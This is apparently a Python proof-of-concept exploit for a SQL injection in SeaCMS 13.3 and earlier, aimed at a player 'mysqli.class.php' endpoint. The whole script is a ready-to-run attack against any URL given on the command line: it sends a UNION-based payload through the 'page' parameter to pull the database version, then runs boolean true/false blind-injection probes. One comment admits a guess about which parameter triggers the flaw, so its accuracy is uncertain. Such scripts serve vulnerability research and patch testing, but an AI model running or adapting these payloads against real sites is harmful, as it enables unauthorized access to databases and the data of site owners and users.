import requests
import sys
# CVE-2025-15002 SQL Injection PoC for SeaCMS
# Target: SeaCMS <= 13.3
# Vulnerability: SQL Injection in dmku/mysqli.class.php via page/limit parameters
def exploit_sqli(target_url):
"""
SQL Injection exploitation via page parameter
This PoC demonstrates extracting database version information
"""
# Target endpoint with vulnerable parameter
vuln_url = f"{target_url}/js/player/dmplayer/dmku/class/mysqli.class.php"
# SQL Injection payload - extracting database version
# Using UNION-based injection to extract MySQL version
payload = {
'action': 'list', # Assuming action parameter triggers the vulnerable function
'page': "1 UNION SELECT 1,2,3,4,5,@@version,7,8,9,10--",
'limit': '10'
}
print(f"[*] Target: {target_url}")
print(f"[*] Exploiting SQL Injection in {vuln_url}")
print(f"[*] Payload: {payload['page']}")
try:
response = requests.get(vuln_url, params=payload, timeout=10)
if response.status_code == 200:
print(f"[+] Request sent successfully")
print(f"[+] Response length: {len(response.text)}")
# Check for SQL error or data leakage
if 'version' in response.text.lower() or 'mysql' in response.text.lower():
print(f"[!] Potential data leak detected in response")
print(f"[+] Response snippet: {response.text[:500]}")
else:
print(f"[*] No obvious data leak - manual inspection required")
else:
print(f"[-] Request failed with status: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
def blind_sqli_test(target_url):
"""
Boolean-based blind SQL injection test
Tests if the parameter is vulnerable by checking response differences
"""
base_url = f"{target_url}/js/player/dmplayer/dmku/class/mysqli.class.php"
# Normal request
normal_payload = {'action': 'list', 'page': '1', 'limit': '10'}
# Malicious request - true condition
true_payload = {'action': 'list', 'page': "1 AND 1=1", 'limit': '10'}
# Malicious request - false condition
false_payload = {'action': 'list', 'page': "1 AND 1=2", 'limit': '10'}
try:
resp_normal = requests.get(base_url, params=normal_payload, timeout=10)
resp_true = requests.get(base_url, params=true_payload, timeout=10)
resp_false = requests.get(base_url, params=false_payload, timeout=10)
# If true and false responses differ, vulnerability likely exists
if len(resp_true.text) != len(resp_false.text):
print(f"[+] Blind SQLi confirmed - responses differ")
print(f"[*] True condition length: {len(resp_true.text)}")
print(f"[*] False condition length: {len(resp_false.text)}")
else:
print(f"[-] No clear blind SQLi indication")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://example.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
exploit_sqli(target)
print("\n[*] Running blind SQLi test...")
blind_sqli_test(target)